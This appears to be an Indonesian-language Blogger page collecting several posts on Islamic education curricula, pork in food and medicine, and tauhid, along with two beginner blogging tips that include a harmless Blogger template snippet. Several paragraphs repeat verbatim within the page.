Di antara pendidikan yang paling penting bagi setiap manusia ialah pendidikan Islam.”Pendidikan Islam adalah pendidikan yang melatih kepekaan (sensibility) para peserta didik sedemikian rupa sehingga sikap hidup dan peri-laku, juga keputusan dan pendekatannya kepada semua jenis pengetahuan dikuasai oleh perasaan mendalam nilai-nilai etik dan spiritual Islam. Mereka dilatih dan mentalnya didisiplinkan, sehingga mereka mencari pengetahuan tidak sekadar untuk memuaskan keingin-tahuan intelektual atau hanya untuk keuntungan dunia material belaka, tetapi juga untuk mengembangkan diri sebagai makhluk rasional dan saleh yang kelak dapat memberikan kesejahteraan fisik, moral dan spiritual bagi keluarga, masyarakat dan umat manusia”(Syed Sajjad Husain & Syed Ali Ashraf , 2000)
Dalam konteks Negara Brunei Darussalam, pihak kerajaan amat mementingkan pendidikan Islam. Pendidikan Islam mula diberikan kepada kanak-kanak sejak mereka berada di peringkat prasekolah hinggalah ke universiti. Untuk menanamkan ajaran-ajaran Islam di kalangan pelajar-pelajar dengan lebih berkesan, maka satu kurikulum yang lengkap,kemas dan tersusun rapi serta berkesinambungan amatlah diperlukan.
Kurikulum Pendidikan Islam 1
Kurikulum pendidikan islam berbeda-beda isinya menurut kondisi perkembangan agama islam, kerena kaum muslimin berada di dalam lingkungan dan nergri yang berbeda-beda. Namun meskipun demikin, kitab Al-Quran tetap menjadi sumber pedoman pendidikan islam. Hal ini sebgaimana pendapat Ibnu Khaldun.
Dalam pendidikan islam ada dua macam yaitu Kurikulum khusus untuk pengajaran permulaan dasar dan Kurikulum untuk pengajar tingkat atas.
Kurikulum Ibtidai (Tingkat Dasar)
Tentang penyebutan nama kurikulum tingkat dasar (ibtidai) didasarkan atas dimulainya pendidikan terhadap anak-anak yang sedang tumbuh, lalu berproses kea rah tingkat usia murahaqah (usia anak mampu berfikir).
Kaum muslimin di Negara-negara Afrika utara membatasi materi pendidikan anak pada menghafal Al-Quran dan tidak bercampur dengan mata pelajaran yang lainnya sehingga mereka lebih kuat dalam proses pembacaan dan hafalannya.
Sedangkan penduduk Andalusia dalam mengajarkan Al-Quran dimasukan pada mata pelajaran yang lainnya sehingga mereka lebih menonjol dalam kemampuan menulis dan kemampuan penemuannya. Dalam hal ini, Ibnu Khladun lebih menyetujui gaya pendidikan yang dilaksankan oleh penduduk Andalusia.
Kurikulum Tingkat Atas
Kurikulum tingkat atas ini berisi pengetahuan yang bermacam-macam jenisnya untuk dikembangkan secara khusus. Dalam hal ini, Ibnu Khaldun membagi jenis ilmu pengetahuan menjadi dua macan yang dijadikan bahan pelajaran Ilmu pengetahuan yang mengandung nilai intrinsic (nilai aslinya) Ilmu ini berupa ilmu syariah yang terdiri dari ilmu fiqih, tafsir, hadits, ilmu kalam, ilmu alam, ilmu ketuhanan, dan filsafat. Ilmu pengetahuan yang tidak bersifat intrinsic (ekstrinsik, yang nilainya tergantung dari luar) Ilmu-ilmu ini berfungsi untuk mendalami ilmu-ilmu intrinsic seperti bahsa arab, ilmu hitung, dan ilmu mantik.
Pandangan Ikhwan As-Safa tentang kurikulum untuk tingkat atas adalah mengaitkan kurikulum dengan ilmu-ilmu kefilsafatan di sekolah-sekolah islam. Mereka mengajak kea rah penciptaan teori-teori dasar dalam pendidikan, seperti keharusan mengajar anak dimulai pada pengamatan melalui panca indra sebelum dipikirkan secara rasional.
Dalam pendidikan islam ada dua macam yaitu Kurikulum khusus untuk pengajaran permulaan dasar dan Kurikulum untuk pengajar tingkat atas.
Kurikulum Ibtidai (Tingkat Dasar)
Tentang penyebutan nama kurikulum tingkat dasar (ibtidai) didasarkan atas dimulainya pendidikan terhadap anak-anak yang sedang tumbuh, lalu berproses kea rah tingkat usia murahaqah (usia anak mampu berfikir).
Kaum muslimin di Negara-negara Afrika utara membatasi materi pendidikan anak pada menghafal Al-Quran dan tidak bercampur dengan mata pelajaran yang lainnya sehingga mereka lebih kuat dalam proses pembacaan dan hafalannya.
Sedangkan penduduk Andalusia dalam mengajarkan Al-Quran dimasukan pada mata pelajaran yang lainnya sehingga mereka lebih menonjol dalam kemampuan menulis dan kemampuan penemuannya. Dalam hal ini, Ibnu Khladun lebih menyetujui gaya pendidikan yang dilaksankan oleh penduduk Andalusia.
Kurikulum Tingkat Atas
Kurikulum tingkat atas ini berisi pengetahuan yang bermacam-macam jenisnya untuk dikembangkan secara khusus. Dalam hal ini, Ibnu Khaldun membagi jenis ilmu pengetahuan menjadi dua macan yang dijadikan bahan pelajaran Ilmu pengetahuan yang mengandung nilai intrinsic (nilai aslinya) Ilmu ini berupa ilmu syariah yang terdiri dari ilmu fiqih, tafsir, hadits, ilmu kalam, ilmu alam, ilmu ketuhanan, dan filsafat. Ilmu pengetahuan yang tidak bersifat intrinsic (ekstrinsik, yang nilainya tergantung dari luar) Ilmu-ilmu ini berfungsi untuk mendalami ilmu-ilmu intrinsic seperti bahsa arab, ilmu hitung, dan ilmu mantik.
Pandangan Ikhwan As-Safa tentang kurikulum untuk tingkat atas adalah mengaitkan kurikulum dengan ilmu-ilmu kefilsafatan di sekolah-sekolah islam. Mereka mengajak kea rah penciptaan teori-teori dasar dalam pendidikan, seperti keharusan mengajar anak dimulai pada pengamatan melalui panca indra sebelum dipikirkan secara rasional.
Cara Menampilkan Kode HTML di Postingan
Banyak sekali tawaran-tawaran kode HTML yang menarik bagi kita. Khususnya dari blogger yang ikhlas memberi bagi sesama. Ingin rasanya kita ingin juga tampulkan pada blog kita...Tapi bagaimana caranya.???
Tapi jangan terlalu bersedih hati. sebab persoalannya sudah terjawab sudah. Oleh karena saya mendapatkan suatu Blogger yang menjawab kebingungan saya selama ini
Tidak dipungkiri, banyak blogger yang menawarkan cara untuk itu tapi juga kunjung menjawab kegelisahan bagi pemula (seperti saya, he he he).
Untuk tidak berpanjang kalam langsung saja saya memberi jawabannya. Coba browsing melaui Mozilla Firefox. sesudah itu langsung anda kopi-paste alamat ini (atau klik) http://www.blogcrowds.com/resources/parse_html.php. Sesudah itu, anda langsung mengkopi kode HTML yang akan diposting. Lalu pastekan pada kotak tampilan Parse, trus klik parse. Kemudian hasilnya anda kopi-paste lagi untuk disalin ke postingan. Selamat mencobanya........ coba akhi/ukhti kopi-paste kode HTML berikut lalu ikuti langkah-langkah yang disebutkan di atas....
<div id=’main-wrapper’>
<b:section class=’main’ id=’main’ showaddelement=’yes’>
<b:widget id=’Blog1′ locked=’true’ title=’Blog Posts’ type=’Blog’/>
</b:section>
</div>
<div id=’sidebar-wrapper’>
<b:section class=’sidebar’ id=’sidebar’ preferred=’yes’/>
</div>
<!– spacer for skins that want sidebar and main to be the same height–>
<div class=’clear’> </div>
</div> <!– end content-wrapper –>
<div id=’footer-wrapper’>
<b:section class=’footer’ id=’footer’/>
</div>
Tapi jangan terlalu bersedih hati. sebab persoalannya sudah terjawab sudah. Oleh karena saya mendapatkan suatu Blogger yang menjawab kebingungan saya selama ini
Tidak dipungkiri, banyak blogger yang menawarkan cara untuk itu tapi juga kunjung menjawab kegelisahan bagi pemula (seperti saya, he he he).
Untuk tidak berpanjang kalam langsung saja saya memberi jawabannya. Coba browsing melaui Mozilla Firefox. sesudah itu langsung anda kopi-paste alamat ini (atau klik) http://www.blogcrowds.com/resources/parse_html.php. Sesudah itu, anda langsung mengkopi kode HTML yang akan diposting. Lalu pastekan pada kotak tampilan Parse, trus klik parse. Kemudian hasilnya anda kopi-paste lagi untuk disalin ke postingan. Selamat mencobanya........ coba akhi/ukhti kopi-paste kode HTML berikut lalu ikuti langkah-langkah yang disebutkan di atas....
<div id=’main-wrapper’>
<b:section class=’main’ id=’main’ showaddelement=’yes’>
<b:widget id=’Blog1′ locked=’true’ title=’Blog Posts’ type=’Blog’/>
</b:section>
</div>
<div id=’sidebar-wrapper’>
<b:section class=’sidebar’ id=’sidebar’ preferred=’yes’/>
</div>
<!– spacer for skins that want sidebar and main to be the same height–>
<div class=’clear’> </div>
</div> <!– end content-wrapper –>
<div id=’footer-wrapper’>
<b:section class=’footer’ id=’footer’/>
</div>
Efek Negatif Makanan Haram
Setiap individu tentu menginginkan selalu sehat jasmani dan rohani. Dan tidak ada satu orangpun ingin sakit, anjuran agama bagi mereka yang sakit agar berobat. Nabi SAW mengatakan setiap penyakit itu ada obatnya. Namun, bagaimana bila obat yang kita minum bercampur dengan benda yang haram? misalkan babi. Benda najis ini jelas-jelas telah diharamkan Allah SWT secara mutlak didalam Alquran. kenyataannya kasus seperti inilah yang sering menimpa masyarakat. Sebagai mana yang dikemukakan Ketua MUI Medan H. M. Hatta bahwa pihaknya telah menemukan obat-obatan yang mengandung lemak babi, berdasarkan penelitian Lembaga Pengawas Peredaran Obat dan Makanan (LPPOM) MUI Medan.
Kasus seperti ini bukan hanya terjadi satu atau dua kali, namun hal ini juga pernah terjadi sebelumnya pada makanan, minuman, kosmetik dan obat-obatan. Pada tahun 1980 Ir. Tri Susanto, M. APP seorang peneliti dari Universitas Sriwijaya menemukan adanya kandungan lemak babi pada beberapa jenis makanan, ± 34 item makanan. Tidak hanya pada 34 jenis makanan tersebut tetapi juga terkontaminasi pada jenis makanan atau produk lainnya. Terlepas dari adanya oknum yang sengaja ataupun tidak sengaja memberikan campuran lemak babi pada jenis makanan atau lainnya lagi-lagi masyarakat muslim yang terkena imbasnya, sehingga ada rumor yang mengatakan pemurtadan lewat makanan. Mengapa setiap kali kasus yang mengandung unsur babi ini merebak masyakat begitu gelisah?, mengapa dan apa dengan babi ??
Setiap makanan yang mendarah daging tentu sangat berpengaruh sekali pada perilaku / tabiat seseorang. Islam mengharamkan babi bukan hanya ditinjau dari satu aspek saja, misalnya babi itu kotor. Misalnya, berdasarkan satu penelitian bahwa babi mengandung banyak penyakit yang berbahaya bagi kesehatan manusia yang telah ditemukan oleh para ahli. Dalam tinjauan medis modren mengungkapkan bahwa babi sangat berbahaya bagi kesehatan. seperti yang dikemukakan Paul Weinstein : “ manusia akan terserang penyakit Trichinosis akibat memakan daging babi”. Walaupun demikian tidaklah menafikan bahwa daging juga ada manfaatnya. diantaranya babi mengandung unsur protein yang bernilai gizi tinggi dan juga dapat dimanfaatkan sebagai penyedap makanan. Juga ditemukan dalam tubuh babi Hong Cholera (kolera babi atau demam babi) dan juga terdapat cacing pita (trichinella spiralis), jenis cacing ini dapat menyebabkan timbulnya penyakit yang dapat mematikan penderita dan dikenal sebagai penyakit Trichinosis. Dan berbagai penyakit lainya yang penulis tidak dapat sebutkan, dikarenakan penulis tidaklah ahli dalam bidang ini. Paling tidak memberikan sedikit gambaran mengenai hewan ini.
Kasus seperti ini bukan hanya terjadi satu atau dua kali, namun hal ini juga pernah terjadi sebelumnya pada makanan, minuman, kosmetik dan obat-obatan. Pada tahun 1980 Ir. Tri Susanto, M. APP seorang peneliti dari Universitas Sriwijaya menemukan adanya kandungan lemak babi pada beberapa jenis makanan, ± 34 item makanan. Tidak hanya pada 34 jenis makanan tersebut tetapi juga terkontaminasi pada jenis makanan atau produk lainnya. Terlepas dari adanya oknum yang sengaja ataupun tidak sengaja memberikan campuran lemak babi pada jenis makanan atau lainnya lagi-lagi masyarakat muslim yang terkena imbasnya, sehingga ada rumor yang mengatakan pemurtadan lewat makanan. Mengapa setiap kali kasus yang mengandung unsur babi ini merebak masyakat begitu gelisah?, mengapa dan apa dengan babi ??
Setiap makanan yang mendarah daging tentu sangat berpengaruh sekali pada perilaku / tabiat seseorang. Islam mengharamkan babi bukan hanya ditinjau dari satu aspek saja, misalnya babi itu kotor. Misalnya, berdasarkan satu penelitian bahwa babi mengandung banyak penyakit yang berbahaya bagi kesehatan manusia yang telah ditemukan oleh para ahli. Dalam tinjauan medis modren mengungkapkan bahwa babi sangat berbahaya bagi kesehatan. seperti yang dikemukakan Paul Weinstein : “ manusia akan terserang penyakit Trichinosis akibat memakan daging babi”. Walaupun demikian tidaklah menafikan bahwa daging juga ada manfaatnya. diantaranya babi mengandung unsur protein yang bernilai gizi tinggi dan juga dapat dimanfaatkan sebagai penyedap makanan. Juga ditemukan dalam tubuh babi Hong Cholera (kolera babi atau demam babi) dan juga terdapat cacing pita (trichinella spiralis), jenis cacing ini dapat menyebabkan timbulnya penyakit yang dapat mematikan penderita dan dikenal sebagai penyakit Trichinosis. Dan berbagai penyakit lainya yang penulis tidak dapat sebutkan, dikarenakan penulis tidaklah ahli dalam bidang ini. Paling tidak memberikan sedikit gambaran mengenai hewan ini.
10.02.2010
Cara Mudah Beri "Read More"
Halo Teman-teman, setelah saya bersusah payah mencari cara bagaimana menambahkan read more pada blog saya agar postingan saya tidak terlalu panjang atau kelihatan lebih rapi akhirnya saya dapat solusi yang paling mudah dan cepat dibandingkan yang saya cari di blog-blog lain, sebenarnya tadinya saya hanya mencoba-coba, eh....tau-tau bisa dengan mengunakan cara yang sangat-sangat mudah tanpa kalian harus bersusah payah, apalagi bagi pemula cara ini sangatlah simple banget. Kalian pasti penasaran kan????
Caranya sebenarnya sangatlah gampang, ok sekarang saya akan memberi tips dan semoga tips ini berguna bagi para blogger:
1. Kalian harus login dulu di http://www.blogger.com
2. Setelah kalian uda masuk Dasbor blog kalian, lalu kalian masuk ke Edit Entri, lalu pilih postingan yang mau di edit, kalo uda ketemu kalian pilih edit yang ada disamping tulisan Lihat yang ada disamping postingan kalian.
3. Setelah kalian masuk di edit postingan kalian klik Tulis.
Setelah itu kalian pilih dimana harus menempatkan Read more, kalo sudah kalian tulis kode ini atau copy paste
Caranya sebenarnya sangatlah gampang, ok sekarang saya akan memberi tips dan semoga tips ini berguna bagi para blogger:
1. Kalian harus login dulu di http://www.blogger.com
2. Setelah kalian uda masuk Dasbor blog kalian, lalu kalian masuk ke Edit Entri, lalu pilih postingan yang mau di edit, kalo uda ketemu kalian pilih edit yang ada disamping tulisan Lihat yang ada disamping postingan kalian.
3. Setelah kalian masuk di edit postingan kalian klik Tulis.
Setelah itu kalian pilih dimana harus menempatkan Read more, kalo sudah kalian tulis kode ini atau copy paste
Makna Tauhid
S
Dan sesungguhnya Kami telah mengutus rasul pada tiap-tiap umat (untuk menyerukan): “Sembahlah Allah (saja), dan jauhilah Thaghut itu” (QS An Nahl: 36)
Dan Kami tidak mengutus seorang rasulpun sebelum kamu, melainkan Kami wahyukan kepadanya: “Bahwasanya tidak ada Tuhan (yang hak) melainkan Aku, maka sembahlah olehmu sekalian akan Aku”. (QS Al Anbiyaa’ : 25)
“Padahal mereka hanya disuruh menyembah Tuhan Yang Maha Esa; tidak ada Tuhan (yang berhak disembah) selain Dia. Maha Suci Allah dari apa yang mereka persekutukan.” (QS At Taubah: 31)
“Maka sembahlah Allah dengan memurnikan keta`atan kepada-Nya. Ingatlah, hanya kepunyaan Allah-lah agama yang bersih (dari syirik).” (QS Az Zumar: 2-3)
esungguhnya kaidah Islam yang paling agung dan hakikat Islam yang paling besar; satu-satunya yang diterima dan diridloi Allah Subhaanahu Wa Ta'aalaa untuk hamba-hamba Nya, yang merupakan satu-satunya jalan menuju kepada Nya, kunci kebahagiaan dan jalan hidayah, tanda kesuksesan dan pemelihara dari berbagai perselisihan, sumber semua kebaikan dan nikmat, kewajiban pertama bagi seluruh hamba, serta kabar gembira yang dibawa oleh para rasul dan para nabi adalah IBADAH HANYA KEPADA ALLAH Subhaanahu Wa Ta'aalaa SEMATA TIDAK MENYEKUTUKANNYA, bertauhid dalam semua keinginannya terhadap Allah Subhaanahu Wa Ta'aalaa, bertauhid dalam urusan penciptaan, perintah-Nya dan seluruh asma (nama-nama) dan sifat-sifat Nya. Allah Subhaanahu Wa Ta'aalaa berfirman:
وَلَقَدْ بَعَثْنَا فِي كُلِّ أُمَّةٍ رَسُولاً أَنِ اُعْبُدُوا اللَّهَ وَاجْتَنِبُوا الطَّاغُوتَ
Dan sesungguhnya Kami telah mengutus rasul pada tiap-tiap umat (untuk menyerukan): “Sembahlah Allah (saja), dan jauhilah Thaghut itu” (QS An Nahl: 36)
وما أرسلنا من قبلك من رسول إلا نوحي إليه أنه لا إله إلا أنا فاعبدون
Dan Kami tidak mengutus seorang rasulpun sebelum kamu, melainkan Kami wahyukan kepadanya: “Bahwasanya tidak ada Tuhan (yang hak) melainkan Aku, maka sembahlah olehmu sekalian akan Aku”. (QS Al Anbiyaa’ : 25)
وَمَا أُمِرُوا إِلاَّ لِيَعْبُدُوا إِلَهًا وَاحِدًا لاَ إِلَهَ إِلاَّ هُوَ سُبْحَانَهُ عَمَّا يُشْرِكُونَ
“Padahal mereka hanya disuruh menyembah Tuhan Yang Maha Esa; tidak ada Tuhan (yang berhak disembah) selain Dia. Maha Suci Allah dari apa yang mereka persekutukan.” (QS At Taubah: 31)
فَاعْبُدِ اللَّهَ مُخْلِصًا لَهُ الدِّينَ(2)أَلاَ لِلَّهِ الدِّينُ الْخَالِصُ
وَمَا أُمِرُوا إِلاَّ لِيَعْبُدُوا اللَّهَ مُخْلِصِينَ لَهُ الدِّينَ حُنَفَاءَ
“Padahal mereka tidak disuruh kecuali supaya menyembah Allah dengan memurnikan keta`atan kepada-Nya dalam (menjalankan) agama dengan lurus”(QS Al Bayyinah: 5)
Syaikhul Islam Ibnu Taimiyah rahimahullah mengatakan: “Orang yang mau mentadabburi keadaan alam akan mendapati bahwa sumber kebaikan di muka bumi ini adalah bertauhid dan beribadah kepada Allah Subhaanahu Wa Ta'aalaa serta taat kepada Rasulullah shallallaahu 'alaihi wa sallam. Sebaliknya semua kejelekan di muka bumi ini; fitnah, musibah, paceklik, dikuasai musuh dan lain-lain penyebabnya adalah menyelisihi Rasulullah shallallaahu 'alaihi wa sallam dan berdakwah (mengajak) kepada selain Allah Subhaanahu Wa Ta'aalaa. Orang yang mentadabburi hal ini dengan sebenar-benarnya akan mendapati kenyataan seperti ini baik dalam dirinya maupun di luar dirinya.” (Majmu’ Fatawa 15/25)
Karena kenyataannya demikian dan pengaruhnya-pengaruhnya yang terpuji ini, maka syetan adalah makhluk yang paling cepat (dalam usahanya) untuk menghancurkan dan merusaknya. Senantiasa bekerja untuk melemahkan dan membahayakan tauhid itu. Syetan lakukan hal ini siang malam dengan berbagai cara yang diharapkan membuahkan hasil
<!-- more -->
<!-- more -->
Langganan:
Postingan (Atom)
